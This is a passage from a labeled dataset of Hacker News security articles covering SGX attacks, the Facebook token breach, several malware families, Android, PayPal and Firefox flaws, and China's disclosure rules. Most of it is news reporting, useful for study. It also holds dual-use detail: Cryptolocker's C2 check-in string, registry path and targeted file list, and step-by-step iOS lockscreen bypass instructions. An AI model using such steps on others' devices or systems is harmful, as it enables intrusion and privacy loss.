Attestation is a mechanism offered as part of SGX that lets enclaves prove to third parties that they have been correctly initialized on a genuine Intel processor. The idea is to ensure that the software running inside the CPU hasn't tampered with and to have increased confidence that the software is running inside the enclave.

""In a nutshell, we use CacheOut to recover the sealing keys from within the address space of Intel's production quoting enclave,"" the researchers stated. ""Finally, we use the recovered sealing keys in order to decrypt the long term storage of the quoting enclave, obtaining the machines EPID attestation keys.""


By breaking this trust, SGAxe makes it easy for an attacker to create a rogue enclave that passes Intel's attestation mechanism, resulting in loss of security guarantees.

""With the machine's production attestation keys compromised, any secrets provided by [the] server are immediately readable by the client's untrusted host application, while all outputs allegedly produced by enclaves running on the client cannot be trusted for correctness,"" the researchers said. ""This effectively renders SGX-based DRM applications useless, as any provisioned secret can be trivially recovered.""

Although Intel issued fixes for CacheOut back in January via a microcode update to OEM vendors and subsequently via BIOS updates to end-users, mitigations for SGAxe will require patching the root cause behind CacheOut (aka L1D Eviction Sampling).

""It is important to note that SGAxe relies on CVE-2020-0549 which has been mitigated in microcode (confirmed by the researchers in their updated CacheOut paper) and distributed out to the ecosystem,"" Intel said in a security advisory.

The chipmaker will also perform a Trusted Compute Base (TCB) recovery to invalidate all previously signed attestation keys.

""This process will ensure that your system is in a secure state such that your system is able to use remote attestation again,"" the researchers stated.

CrossTalk Attack: Leaking Information Across CPU cores

CrossTalk (CVE-2020-0543), the second SGX exploit, is what the VU University calls an MDS (Microarchitectural Data Sampling) attack. It takes advantage of a ""staging"" buffer that's readable across all CPU cores to mount transient execution attacks across the cores and extract the entire ECDSA private key of a secure enclave running on a separate CPU core.

""The staging buffer retains the results of previously executed offcore-instructions across all CPU cores,"" the researchers observed. ""For instance, it contains the random numbers returned by the offcore hardware DRNG, bootguard status hashes, and other sensitive data.""


Put differently, CrossTalk works by reading the staging buffer during transient execution in order to leak sensitive data accessed by previously executed victim instructions.

The fact that the buffer retains output from RDRAND and RDSEED instructions makes it possible for an unauthorized party to track the random numbers generated, and therefore compromise the cryptographic operations that underpin the SGX enclave, including the aforementioned remote attestation process.


With Intel CPUs released from 2015 to 2019, counting Xeon E3 and E CPUs, susceptible to the attacks, VU University researchers said it shared with Intel a proof-of-concept demonstrating the leakage of staging buffer content in September 2018, followed by a PoC implementing cross-core RDRAND/RDSEED leakage in July 2019.

""Mitigations against existing transient execution attacks are largely ineffective,"" the team summarized. ""The majority of current mitigations rely on spatial isolation on boundaries which are no longer applicable due to the cross-core nature of these attacks. New microcode updates which lock the entire memory bus for these instructions can mitigate these attacks—but only if there are no similar problems which have yet to be found.""

In response to the findings, Intel addressed the flaw in a microcode update distributed to software vendors yesterday after a prolonged 21-month disclosure period due to the difficulty in implementing a fix.

The company has recommended users of affected processors update to the latest version of the firmware provided by system manufacturers to address the issue.
",Vulnerability
Facebook Hacked — 10 Important Updates You Need To Know About,https://thehackernews.com/2018/09/facebook-account-hacked.html,"If you also found yourself logged out of Facebook on Friday, you are not alone.

Facebook forced more than 90 million users to log out and back into their accounts in response to a massive data breach.

On Friday afternoon, the social media giant disclosed that some unknown hackers managed to exploit three vulnerabilities in its website and steal data from 50 million users and that as a precaution, the company reset access tokens for nearly 90 million Facebook users.

We covered a story yesterday based upon the information available at that time.

Facebook Hack: 10 Important Updates You Need To Know About

However, in a conference call [Transcript 1, Transcript 2] with reporters, Facebook vice president of product Guy Rosen shared a few more details of the terrible breach, which is believed to be the most significant security blunder in Facebook's history.

Here's below we have briefed the new developments in the Facebook data breach incident that you need to know about:

1.) Facebook Detected Breach After Noticing Unusual Traffic Spike — Earlier this week, Facebook security team noticed an unusual traffic spike on its servers, which when investigated revealed a massive cyber attack, that had been ongoing since 16 September, aimed at stealing data of millions of Facebook users.

2.) Hackers Exploited Total 3 Facebook Vulnerabilities — The hack was accomplished using three distinct bugs of Facebook in combination.

The first bug incorrectly offered users a video uploading option within certain posts that enables people to wish their friends 'Happy Birthday,' when accessed on ""View As"" page.

The second bug was in the video uploader that incorrectly generated an access token that had permission to log into the Facebook mobile app, which is otherwise not allowed.

The third bug was that the generated access token was not for you as the viewer, but for the user that you were looking up, giving attackers an opportunity to steal the keys to access an account of the person they were simulating.

3.) Hackers Stole Secret Access Tokens for 50 Million Accounts — The attackers walked away with secret access tokens for as many as 50 million Facebook users, which could then be used to take over accounts.

Access Tokens ""are the equivalent of digital keys that keep people logged in to Facebook, so they don't need to re-enter their password every time they use the app.""

4.) Your Facebook Account Password Has Not Been Compromised, But, Wait! — The good news is that the attack did not reveal your Facebook account passwords, but here's the bad news — it's not even required.

An application or an attacker can use millions of secret access tokens to programmatically fetch information from each account using an API, without actually having your password or two-factor authentication code.

5.) Hackers Downloaded Users' Private Information Using Facebook API — Although it is not clear how many accounts and what personal information was accessed by hackers before Facebook detected the incident, the year-old vulnerabilities had left all your personal information, private messages, photos and videos wide open for hackers.

""Since we've only just started our investigation, we have yet to determine whether these accounts were misused or any information accessed,"" the company said.

6.) Your ""Logged in as Facebook"" Accounts at 3rd-Party Apps/Websites Are At Risk — Since secret tokens enabled attackers to access accounts as the account holder themselves, it could have allowed them to access other third-party apps that were using Facebook login — a feature that lets you sign up for, and log in to, other online services using your Facebook credentials.

7.) Facebook Reset Access Tokens for 90 Million Accounts — In response to the massive breach, Facebook reset access tokens for nearly 50 million affected Facebook accounts and an additional 40 million accounts, as a precaution. This means that nearly 90 Million Facebook users were logged out of their accounts on Friday.

8.) Check Active Sessions on Facebook to Find If Your Account Have Been Hacked — Many Facebook users have noticed unknown IP addresses from foreign locations that apparently had accessed their account unauthorizedly.

You can head on to ""Account Settings → Security and Login → Where You're Logged In"" to review the list of devices and their location that have accessed your Facebook account.

If you found any suspicious session that you never logged in, you can revoke back the access in just one click.

9.) Breach Isn't Connected to the Hacker Who Pledged to Delete Zuckerberg's Personal Page — Earlier this week, a Taiwanese hacker, Chang Chi-Yuang, claimed that he would demonstrate a critical zero-day vulnerability in Facebook by broadcasting himself hacking Mark Zuckerberg's Facebook page on Sunday.

However, it is not clear whether the latest Facebook breach has anything to do with Chang's hack, at least Facebook does not believe so.

Besides this, Chang Chi-Yuang Today says he canceled the stream and reported the bug to Facebook.

10.) Facebook Faces Class-Action Lawsuit Over The Massive Hack — Just after the news of the breach went public, two residents, Carla Echavarria from California and another from Virginia, filed a class-action complaint against the social media giant in US District Court for the Northern District of California.

Both allege that Facebook failed to protect their and additional potential class members data from going into wrong hands due to its lack of proper security practices.

The social media giant has already been facing criticism on handling of user data and its privacy policies in the wake of the Cambridge Analytica scandal, in which personal data of 87 million Facebook users was sold to and misused by a data-mining firm without their consent.

Facebook has already reset account logins for tens of millions of users and is also advising affected users who had Instagram or Oculus accounts linked to their Facebook account to de-link and than link those accounts again so that the access tokens can be changed.

The vulnerabilities exploited by the hackers are fixed, and Facebook is working with the FBI to investigate the security incident, which has impacted approximately 2.5% of Facebook users of its over 2 billion user base.

Since the investigation is still in the early stages, Facebook has yet to determine whether the attackers misused the stolen access tokens for 50 million accounts or if any information was accessed.
",Data_Breaches
Iran still on target of 'Mahdi' malware after detection,https://thehackernews.com/2012/09/iran-still-on-target-of-mahdi-malware.html,"In JULY Kaspersky Lab and Seculert revealed the presence of a new cyber-espionage weapon known targeting users in the Middle East. Despite the recent uncovering of the 'Madhi' malware that has infected several hundred computers in the Middle East, researchers say the virus is continuing to spread.

The malware, known as 'Mahdi' or 'Madi', was originally discovered by Seculert. In addition to stealing data from infected Windows computers, it is also capable of monitoring email and instant messages, recording audio, capturing keystrokes and taking screenshots of victims' computers.

Working together, researchers at Seculert and Kaspersky sinkholed the malware's command and control servers and monitored the campaign. What they found was a targeted attack that impacted more than 800 victims in Iran, Israel and other countries from around the globe.

Israeli security company Seculert said it had identified about 150 new victims over the past six weeks as developers of the Mahdi virus had changed the code to evade detection by anti-virus programs. That has brought the total number of infections found so far to nearly 1,000, the bulk of them in Iran.

""These guys continue to work,"" Seculert Chief Technology Officer Aviv Raff said via telephone from the company's headquarters in Israel. ""This tells us that the attackers are still doing a very effective job with this surveillance malware,"" he said.

The majority of the victims were in Iran, and many were found to be businesspeople working on Iranian and Israeli critical-infrastructure projects, Israeli financial institutions, Middle East engineering students or various government agencies in the region. All totaled, multiple gigabytes of data are believed to have been uploaded from victims' computers, researchers have said.

Seculert and Kaspersky dubbed the campaign Mahdi after a term referring to the prophesied redeemer of Islam because evidence suggests the attackers used a folder with that name as they developed the software to run the project.

They also included a text file named mahdi.txt in the malicious software that infected target computers.

",Malware
China's New Law Requires Vendors to Report Zero-Day Bugs to Government,https://thehackernews.com/2021/07/chinas-new-law-requires-researchers-to.html,"The Cyberspace Administration of China (CAC) has issued new stricter vulnerability disclosure regulations that mandate software and networking vendors affected with critical flaws to mandatorily disclose them first-hand to the government authorities within two days of filing a report.
The ""Regulations on the Management of Network Product Security Vulnerability"" are expected to go into effect starting September 1, 2021, and aim to standardize the discovery, reporting, repair, and release of security vulnerabilities and prevent security risks.
""No organization or individual may take advantage of network product security vulnerabilities to engage in activities that endanger network security, and shall not illegally collect, sell or publish information on network product security vulnerabilities,"" Article 4 of the regulation states.
In addition to banning sales of previously unknown security weaknesses, the new rules also forbid vulnerabilities from being disclosed to ""overseas organizations or individuals"" other than the products' manufacturers, while noting that the public disclosures should be simultaneously accompanied by the release of repairs or preventive measures.
""It is not allowed to deliberately exaggerate the harm and risk of network product security vulnerabilities, and shall not use network product security vulnerability information to carry out malicious speculation or fraud, extortion and other illegal and criminal activities,"" Article 9 (3) of the regulation reads.
Furthermore, it also prohibits the publication of programs and tools to exploit vulnerabilities and put networks at a security risk.

",Vulnerability
Cryptolocker Ransomware makes different Bitcoin wallet for each victim,https://thehackernews.com/2013/10/Cryptolocker-Ransomware-Bitcoin-malware-remove-software.html,"When you're online, you expose your vulnerability to malicious virus that have been growing in virulence and ferocity over the last few years.

Among home PC users, you may think that you protected from malicious software by Installing an effective, trusted antivirus solution, but most if the Antivirus solutions still it merely finds and removes any known threats.

But what if someday you turn on your system and you will find a pop up window with a warning that says ""Your system is Locked and Important drives are encrypted and there is no way out unless you will not Pay fine"".
This is what Ransomware malware does to your system. Ransomware is the most serious emerging threat in the virtual world of computing devices. Ransomware is a kind of malware which is designed to Block access to the computing system or can lock your system until an amount of money is paid through Internet banking.

Ransomware is usually installed when you open a malicious attachment in an email message or when you click on a malicious link in an email message, instant message, a social networking site or other websites.

A new piece of ransomware is giving Internet users one more reason to think twice before they click a link in an email. You may have read about the Cryptolocker malware in our previous stories on The Hacker News, a new ransomware Trojan that encrypts your files and demands money to return them.

Cryptolocker has been infecting PCs around the world and effectively holding the files within for ransom. Cryptolocker first made an appearance last month. Malware Researcher 'Octavian Minea' from Bitdefender explains the detailed inner workings of the Cryptolocker Ransomware, lets have a look:

The Cryptolocker ransomware gets installed with the help of Zbot variant (Zbot, is a malware toolkit that allows a cybercriminal to build his own Trojan Horse. Zeus, which is sold on the black market, allows non-programmers to purchase the technology they need to carry out cybercrimes.) and after installation it immediately adds itself to the Startup folder with a random name. Then it tries to establish connection with its command and control server on remote location using the Internet and send a 192 byte encrypted packet:
""version=1&id=1&name={COMPUTER_NAME}&group={GROUP_NAME}&lid={LOCATION_ID}""
Where {GROUP_NAME} seems to be related to the time of compilation of the malware and an example for {LOCATION_ID} is 'en-US'.

On successful connection, the server generates a pair of 2048-bit RSA public and private key and the malware receives only the public key and a newly generated Bitcoin address. For each victim, only the Cryptolocker authors have access to the decryption private keys.

The received information from the server gets stored in the system registry at:
HKEY_CURRENT_USER\Software\Cryptolocker_NUMBER\
Which contain the values PublicKey, Version Info with Bitcoin address and the command and control server address in an encrypted form.

Cryptolocker uses a solid encryption scheme as well, which so far appears unbreakable. It begins encrypting documents on any local or network storage drive, which are in any of these formats:
*.odt*.ods*.odp*.odm*.odc*.odb*.doc*.docx*.docm*.wps*.xls*.xlsx*.xlsm*.xlsb*.xlk*.ppt*.pptx*.pptm*.mdb*.accdb*.pst*.dwg*.dxf*.dxg*.wpd*.rtf*.wb2*.pdf*.mdf*.dbf*.psd*.pdd*.eps*.ai*.indd*.cdr????????.jpg????????.jpeimg_*.jpg*.dng*.3fr*.arw*.srf*.sr2*.bay*.crw*.cr2*.dcr*.kdc*.erf*.mef*.mrw*.nef*.nrw*.orf*.raf*.raw*.rwl*.rw2*.r3d*.ptx*.pef*.srw*.x3f*.der*.cer*.crt*.pem*.pfx*.p12*.p7b*.p7c
An AES key is generated for each file to be encrypted, the file is then AES-encrypted and the AES key is itself encrypted using the public key. The encrypted AES key is then appended to the encrypted file.

While the public key is stored on the computer, the private key is stored on the command-and-control server; CryptoLocker demands a payment with either a MoneyPak card or Bitcoin to recover the key and begin decrypting files, and threatens to delete the private key if a payment is not received within 3 days.

""Payment of the ransom can generally be performed in Bitcoins, although some Cryptolocker variants also accept payment methods Ukash, CashU or, only in the US of A, in Money Pack prepaid cards which can only be bought with cash. All these payment methods are practically anonymous."" he said.

Due to the extremely large key size it uses, analysts and those affected by the worm have considered CryptoLocker to be extremely difficult to repair.
Users who have their files locked up by the ransomware are currently paying $300 to $700 to the criminals who run the virus to gain control of their computer. Once the victim pays the ransom, the transaction ID must be entered and purportedly verifications ensue. If a private key is sent by the server, it is added to the registry and the decryption process begins.
So far, there have been no reports of the hackers reinfecting a machine once the ransom has been paid. However, the attackers give you roughly three days to pay them, otherwise your data is gone forever, especially if they do not perform regular and off-site backups.

Today's cybercriminals are using more sophisticated attacks, such as ransomware and spear phishing, which yield them more money per attack than ever before. A sample study of 1000 users by Symantec found India to be the ransomware capital of Asia Pacific with 11% victims of virtual extortion.

There are several free ways to help protect your computer against ransomware and other malware:
Make sure to keep all of the software on your computer up to date.
Make sure that automatic updating is turned on to get all the latest security updates.
Never open any attachment unless you know who it's from and why they are sending it.
Use secure connections for sensitive transactions.
Use strong alphanumeric and symbol passwords.
Use virtual keyboard for internet banking.
Common sense is another good weapon in the fight against viruses.
Swati Khandelwal - Working at 'The Hacker News'. Social Media Lover and Gadgets Girl. Speaker, Cyber Security Expert and Technical Writer.(Google+ Profile)

",Malware
Android Privilege Escalation Flaws leave Billions of Devices vulnerable to Malware Infection,https://thehackernews.com/2014/03/android-privilege-escalation-flaws.html,"Android - a widely used Smartphone platform offered by Google is once again suspected to affect its users with malicious software that puts their android devices at risk. This time the vulnerabilities occur in the way Android handle the updates to add new flavors to your device.

Researchers from Indiana University and Microsoft have discovered [Paper PDF] a new set of Android vulnerabilities that is capable to carry out privilege escalation attacks because of the weakness in its Package Management Service (PMS) that puts more than one billion Android devices at risk.

The researchers dubbed the new set of security-critical vulnerabilities as Pileup flaws which is a short for privilege escalation through updating, that waylays inside the Android PMS and intensifies the permissions offered to malicious apps whenever an android update occurs, without informing users.

The research was carried out by Indiana University Bloomington researchers, Luyi Xing, Xiaorui Pan, Kan Yuan and XiaoFeng Wang, with the help of Rui Wang of Microsoft.

Six different Pileup vulnerabilities have been found by the researchers within the Android PMS, those are present in all Android Open Source Project versions, including more than 3,500 customized versions of Android developed by handset makers and carriers.

""Every few months, an update is released, which causes replacement and addition of tens of thousands of files on a live system. Each of the new apps being installed needs to be carefully configured to set its attributes within its own sandboxes and its privileges in the system, without accidentally damaging existing apps and the user data they keep,"" the researchers wrote. ""This complicates the program logic for installing such mobile updates, making it susceptible to security-critical flaws.""

The researchers also found that by exploiting the Pileup vulnerabilities, a hacker can not only control the system permission and signature but also their settings. Moreover an attacker could use the malicious app to access and steal the device data, including, sensitive user information such as activity logs, user credentials, Contacts, Messages etc.

""A distinctive and interesting feature of such an attack is that it is not aimed at a vulnerability in the current system. Instead, it exploits the flaws in the updating mechanism of the ""future"" OS, which the current system will be upgraded to,"" the researchers wrote. ""More specifically, though the app running on a lower version Android, the adversary can strategically claim a set of carefully selected privileges or attributes only available on the higher OS version.""

In short, it means that, if an attacker sends the malicious app update and if the permission don't exist in the older version of the android that is added to the new version; the malicious app will silently acquire the permissions and when the device is upgraded to the newer version, the pileup flaws will be automatically exploited.
""A third-party package attribute or property, which bears the name of its system counterpart, can be elevated to a system one during the updating shuffle-up where all apps are installed or reinstalled, and all system configurations are reset,"" the researcher wrote. ""Also, when two apps from old and new systems are merged as described above, security risks can also be brought in when the one on the original system turns out to be malicious.""
During the update, first the PMS will install all new and existing system apps and then will proceed to install third party apps from the old OS and during the installation of malicious app packed inside PMS, the device will recognize and silently grants all the permissions that malicious app requests, as it supposes that these permissions are with an existing app and have already been approved by the user.

""With the help of a program analyzer, our research discovered 6 such Pileup flaws within Android Package Manager Service and further confirmed their presence in all AOSP (Android Open Source Project) versions and all 3,522 source code versions customized by Samsung, LG and HTC across the world that we inspected, which strongly indicates their existence in all Android devices in the market.""

Moreover detecting the critical flaws, the researchers have developed a new scanner app called SecUP that search for malicious apps already on a device designed to exploit Pileup vulnerabilities. Scanning tool inspects already installed Android application packages (APKs) on the device, in an attempt to identify those that will cause privilege escalations during an update, the paper stated.
The SecUP scanning tool consists of an automated vulnerability detector, a program verification tool for Java that discovers the Pileup flaws within the source code of different Android versions and a threat analyzer that automatically scans thousands of OS images.
""The detector verifies the source code of PMS (from different Android versions) to identify any violation of a set of security constraints, in which we expect that the attributes, properties (name, permission, UID, etc.) and data of a third-party app will not affect the installation and configurations of system apps during an update,"" the researchers explained. ""A Pileup flaw is detected once any of those constraints are breached.""
All the six vulnerabilities have been reported to Google by the researchers, from which one of it has been fixed by them.

",Malware
PayPal Vulnerability Allows Hackers to Steal All Your Money,https://thehackernews.com/2015/08/paypal-money-hacking-tool.html,"A critical security vulnerability has been discovered in the global e-commerce business PayPal that could allow attackers to steal your login credentials, and even your credit card details in unencrypted format.

Egypt-based researcher Ebrahim Hegazy discovered a Stored Cross Site Scripting (XSS) vulnerability in the Paypal's Secure Payments domain.

As it sounds, the domain is used to conduct secure online payments when purchasing from any online shopping website. It enables buyers to pay with their payment cards or PayPal accounts, eliminating the need to store sensitive payment information.

However, it is possible for an attacker to set up a rogue online store or hijacked a legitimate shopping website, to trick users into handing over their personal and financial details.

How the Stored XSS Attack Works?

Hegazy explains a step by step process in his blog post, which gives a detailed explanation of the attack.

Here's what the researcher calls the worst attack scenario:
An attacker need to set up a rogue shopping site or hijack any legitimate shopping site
Now modify the ""CheckOut"" button with a URL designed to exploit the XSS vulnerability
Whenever Paypal users browse the malformed shopping website, and click on ""CheckOut"" button to Pay with their Paypal account, they'll be redirected to the Secure Payments page
The page actually displays a phishing page where the victims are asked to enter their payment card information to complete the purchasing
Now on clicking the Submit Payment Button, instead of paying the product price (let's say $100), the Paypal user will pay the attacker amount of attacker's choice

Video Demonstration

The researcher has also provided a proof-of-concept (PoC) video that shows attack in work. You can watch the video here.

Hegazy reported this serious security vulnerability to the PayPal team on June 19th, and the team confirmed the security hole, which was fixed on August 25 – just over two months later.

PayPal has also rewarded Hegazy with a bug bounty of $750 for his findings, which is the company's maximum bug bounty payout for XSS vulnerabilities.

",Vulnerability
Mouabad Android Malware calling to Premium numbers; Generating revenue for its Master,https://thehackernews.com/2013/12/mouabad-android-malware-calling-to.html,"Android platform is a primary target for malware attacks from few years and during 2013, more than 79% of mobile operating malware threats are taking place on Android OS.

I have been working on Android Malware architectures since last two years and created 100's of sample of most sophisticated malware for demo purpose.
Till now we have seen the majority of Android malware apps that earn money for their creators by sending SMS messages to premium rate numbers from infected devices.

Security researchers at Lookout identified an interesting monetized Android Malware labeled as 'Mouabad', that allow a remote attacker to make phone calls to premium-rate numbers without user interaction from C&C servers by sending commands to the malware.

The technique is not new, but infection from such app notified first time in the wild. The variant dubbed MouaBad.p., is particularly sneaky and to avoid detection it waits to make its calls until a period of time after the screen turns off and the lock screen activates.
""Mouabad.p also end the calls it makes as soon as a user interacts with their device (e.g. unlocks it). However, this malware variant does not appear to have the ability to modify call logs so a discerning victim could uncover Mouabad.p's dialing activity by checking their call histories.""
Risk of infection is low, because the malware app works only on devices running Android version 3.1 or old and designed to mainly target Chinese-speaking users.
""Mouabad.p and other trojans that can financially harm users and effectively hide themselves underscore the need for sophisticated mobile malware protection.""
Android architecture loophole contributes to the growth of Android malware. It basically can't identify the difference between a legit app i.e. Taking permissions to read your Contacts or SMS (i.e. True Caller), or a malicious applications (i.e. Trojans), or state-sponsored applications (i.e. WeChat). Neither Android architecture allows users to revoke the list of permissions they don't want to give to an application.

For now, If you own a Smartphone, I highly recommend you to install applications only from some trusted App Store i.e. Google Play.

",Malware
"Mac OS X Flashback Trojan is still alive, recently infected 22,000 Apple machines",https://thehackernews.com/2014/01/mac-os-x-flashback-trojan-is-still.html,"The Flashback Trojan, the most sophisticated piece of malware that infected over 600,000 Apple's Macs systems back in April, 2012 is still alive and has infected about 22,000 machines recently, according to the researchers from Intego.

For a refresh, Flashback Trojan was first discovered in September 2011, basically a trojan horse that uses a social engineering to trick users into installing a malicious Flash player package.
Once installed, the Flashback malware injects a code into that web browser and other applications like Skype to harvest passwords and other information from those program's users. The Trojan targets a known vulnerability in Java on Mac OS X systems.

The system gets infected after the user redirects to a compromised website, where a malicious javascript code to load the exploit with Java applets. Then an executable file is saved on the local machine, which is used to download and run malicious code from a remote location.

It took Apple months to recognize the severity of this Mac malware threat, which first appeared in the Fall of 2011. However, Apple released the patch and updated the specific introduction about the operating system, ""It doesn't get PC viruses"" to ""It's built to be safe."" on the Apple website. Intego said:
The Apple Product Security Response team took serious actions in 2012 to mitigate the threat using XProtect and other security updates (including a Malware Removal Tool), however, the botnet count was only divided by six according to our sinkhole.
Now in 2014, Intego researcher Abbati claims that Flashback botnet is still alive and is silently ""adrift.""
Intego purchased some of the command and control (C&C) server domain names to monitor the Flashback threat that infected hundreds of thousands of Macs. Beginning January 2, we studied those domains and our sinkhole servers recorded all connections from Macs where Flashback is still active and trying to contact the C&C servers.
Below is a screenshot of the Apache Server log:
On April 2012, the Mac world was stunned to learn that the Flashback Trojan had infected millions of machines. The Flashback Ad-clicking the component tool that caused infected Macs to view sponsored links that had the potential to generate millions of dollars in fraudulent ad revenue. In addition, it has the capability to do much more, including sending spam, engaging in denial-of-service attacks, or logging passwords.

To protect your computer from contracting the virus now, download Apple's latest software update or use Apple's official 'Flashback malware removal tool'. Other easiest way to detect and remove this malware from your Mac system is to download F-Secure's Flashback removal tool.

",Malware
Georgia Tech Data Breach Exposes 1.3 Million Users' Personal Data,https://thehackernews.com/2019/04/georgia-tech-data-breach.html,"The Georgia Institute of Technology, well known as Georgia Tech, has confirmed a data breach that has exposed personal information of 1.3 million current and former faculty members, students, staff and student applicants.

In a brief note published Tuesday, Georgia Tech says an unknown outside entity gained ""unauthorized access"" to its web application and accessed the University's central database by exploiting a vulnerability in the web app.

Georgia Tech traced the first unauthorized access to its system to December 14, 2018, though it's unclear how long the unknown attacker(s) had access to the university database containing sensitive students and staff information.

The database contained names, addresses, social security numbers, internal identification numbers, and date of birth of current and former students, faculty and staff, and student applicants.

However, the University has launched a forensic investigation to determine the full extent of the breach.

""The information illegally accessed by an unknown outside entity was located on a central database. Georgia Tech's cybersecurity team is conducting a thorough forensic investigation to determine precisely what information was extracted from the system, which may include names, addresses, social security numbers, and birth dates,"" the note published on the University website reads.

The University's IT team discovered the web app vulnerability at the end of last month when it noticed a significant performance impact.

""Application developers for the Institute noticed a significant performance impact in one of its web applications and began an investigation on March 21, 2019,"" Georgia Tech says in the FAQs detailing the incident.

""During this investigation, it was determined the performance issue was the result of a security incident.""

Georgia Tech has since patched the vulnerability and already started notifying potentially impacted individuals via email.

The University is also ""coordinating with consumer reporting agencies and the University System of Georgia to determine what protections will be provided"" to the affected individuals.

Georgia Tech has also notified the U.S. Department of Education and University System of Georgia (USG) and is expected to release more information soon.

""We continue to investigate the extent of the data exposure and will share more information as it becomes available. We apologize for the potential impact on the individuals affected and our larger community. We are reviewing our security practices and protocols and will make every effort to ensure that this does not happen again,"" the University said.
",Data_Breaches
Another iPhone lockscreen bypass vulnerability found in iOS 7.02,https://thehackernews.com/2013/09/another-iphone-lockscreen-bypass.html,"Here we go again! Earlier this week, Apple released iOS 7.0.2 just to fix some Lockscreen bugs in iOS 7 and but a researcher has found a new Lockscreen bug in new iOS 7.0.2.

This new Lockscreen bug is found by Dany Lisiansky, and he uploaded a proof of concept video on YouTube with the complete step by step guide.
Unlike the previous bugs it will not expose your Email, Photos, Facebook and Twitter but allows attackers to access your phone call history, voicemails and entire list of contacts.

A step by step guide released by iDownloadblog:
Make a phone call (with Siri / Voice Control)
Click the FaceTime button
When the FaceTime App appears, click the Sleep button
Unlock the iPhone
Answer and End the FaceTime call at the other end
Wait a few seconds
Done. You are now in the phone app
Video demonstration

It would be easy for someone who knows you or your love partner or your business partner to obtain your phone and call themselves from it to take advantage of this trick and they may only gain access to the Phone app.
Fixing this bug is pretty simple, Disable the Siri in Lockscreen by navigating to ""Settings –> General –> Passcode –> Siri"" and disable it there.

Also read that how an Iranian group defeated the iPhone Fingerprinting scanner Touch ID again, which allows them to unlock an iPhone device with multiple Fingerprints.

Post by The Hacker News.

",Vulnerability
All Smartwatches are vulnerable to Hackers,https://thehackernews.com/2015/07/smartwatch-hacking.html,"Do you own a Smartwatch? If yes, then how safe it is? There are almost 100 percent chances that you own a vulnerable Smartwatch.

Computer manufacturer Hewlett-Packard is warning users of smartwatches including Apple Watch and Samsung Gear that their wearable devices are vulnerable to cyber attacks.

In a study, HP's Fortify tested today's top 10 smartwatches for security features, such as basic data encryption, password protection and privacy concerns.

The most shocking part of the study was that –

Not even a Single Smartwatch Found to be 100 percent Safe

Security experts found that 100 percent of wearable devices contained at least one serious security vulnerability that could make the devices vulnerable to hackers.

With the increase in the adoption of smartwatches, manufacturers need to pay closer attention to the customers' security because these wearable devices could potentially open doors to new threats to personal and sensitive information.
""As the adoption of Smartwatches accelerates, the platform will become vastly more attractive to those who would abuse that access, making it critical that we take precautions when transmitting personal data or connecting Smartwatches into corporate networks,"" Jason Schmitt, general manager at HP's Security Fortify said in a statement.
The study [PDF], no doubt, had included Smart watches by Apple, Pebble, Samsung and Sony, as it claims to have picked top 10 smartwatches.
Here's the list of issues reported by HP:

1. Lack of transport encryption – Though all products implemented transport encryption using SSL/TLS, 40 percent of devices found to be either vulnerable to the POODLE attack, allowing the use of weak cyphers, or still using SSL v2.

2. Insecure Interfaces – Three out of ten smartwatches used cloud-based web interfaces and all of them were vulnerable to account harvesting. This allowed unlimited login attempts, helping hackers guess passwords.

3. Insufficient User Authentication/Authorization – Three out of ten smartwatches completely failed to offer Two-Factor authentication, or the ability to lock accounts after 3 to 5 failed password attempts.

4. Insecure Software/Firmware – 7 out of 10 smartwatches had issues with firmware updates. The wearable devices, including smartwatches, often did not receive encrypted firmware updates, but many updates were signed to help prevent malicious firmware updates from being installed. While a lack of encryption did not allow the files to be downloaded and analyzed.

5. Privacy Concerns – Smartwatches also demonstrate a risk to personal security as well as privacy. All the tested devices collected some form of personal information, including username, address, date of birth, gender, heart rate, weight and other health information.

The experts said it would not disclose the names of smartphone manufacturers whose watches they had tested, but they are working with vendors to ""build security into their products before they put them out to market.""

Meanwhile, HP urges users to not connect their smartwatches to the sensitive access control functions like cars or homes unless strong authorization is offered.

",Cyber_Attack
New OSX/Imuler Variant Targeting Tibetan Activists,https://thehackernews.com/2012/11/new-osximuler-variant-targeting-tibetan.html,"Researchers over at Intego have recently discovered a new variant of OSX/Imuler the data-stealing Mac malware, detected as OSX/Imuler.E which is believed to be targeting Tibetan rights activists.

""This backdoor Trojan family was first discovered in September 2011 as a Mac PDF Trojan horse and has been targeting activist organizations with emails containing what appear to be pictures. Each variant has tried different tactics, either trying to scare or entice their target into opening the file."" explained.

The cyber criminals behind the campaign are relying on the fact that by default, Mac OS X doesn't display full file extensions, and therefore are attempting to trick end and corporate users into thinking that they're about the view a JPG image file.

The Imuler Trojan has two main methods of stealing information, It searches the system for user data OR It can also take screenshots. Then, This data is then uploaded to the controller's server.

Last week, Thousands of Tibetans have protested in western China, demanding independence and the return of exiled spiritual leader the Dalai Lama.

We always recommend users that good idea to run antivirus software, even on a Mac.

",Malware
Firefox Releases Critical Patch Update to Stop Ongoing Zero-Day Attacks,https://thehackernews.com/2019/06/mozilla-firefox-patch-update.html,"Important Update [21 June 2019]—Mozilla on Thursday released another update Firefox version 67.0.4 to patch a second zero-day vulnerability.

If you use the Firefox web browser, you need to update it right now.

Mozilla earlier today released Firefox 67.0.3 and Firefox ESR 60.7.1 versions to patch a critical zero-day vulnerability in the browsing software that hackers have been found exploiting in the wild.

Discovered and reported by Samuel Groß, a cybersecurity researcher at Google Project Zero, the vulnerability could allow attackers to remotely execute arbitrary code on machines running vulnerable Firefox versions and take full control of them.

The vulnerability, identified as CVE-2019-11707, affects anyone who uses Firefox on desktop (Windows, macOS, and Linux) — whereas, Firefox for Android, iOS, and Amazon Fire TV are not affected.

According to an advisory, the flaw has been labeled as a type confusion vulnerability in Firefox that can result in an exploitable crash due to issues in Array.pop which can occur when manipulating JavaScript objects.

At the time of writing, neither the researcher nor Mozilla has yet released any further technical details or proof-of-concept for this flaw.

Through Firefox automatically installs latest updates and activate new version after a restart, users are still advised to ensure they are running the latest Firefox 67.0.3 and Firefox (Extended Support Release) 60.7.1 or later.

Update

The researcher later today shared a few more details about the flaw with The Hacker News, saying the reported flaw primarily leads to Universal Cross-site Scripting (UXSS) attacks, but if combined with a sandbox escape issue, it could also allow attackers to execute arbitrary code remotely on a targeted systems.

""I don't have any insights into the active exploitation part. I found and then reported the bug on April 15. The first public fix then landed about a week ago (sec fixes are held back until close to the next release):"" Groß said on Twitter.

""The bug can be exploited for RCE but would then need a separate sandbox escape. However, most likely it can also be exploited for UXSS which might be enough depending on the attacker's goals.""
",Vulnerability
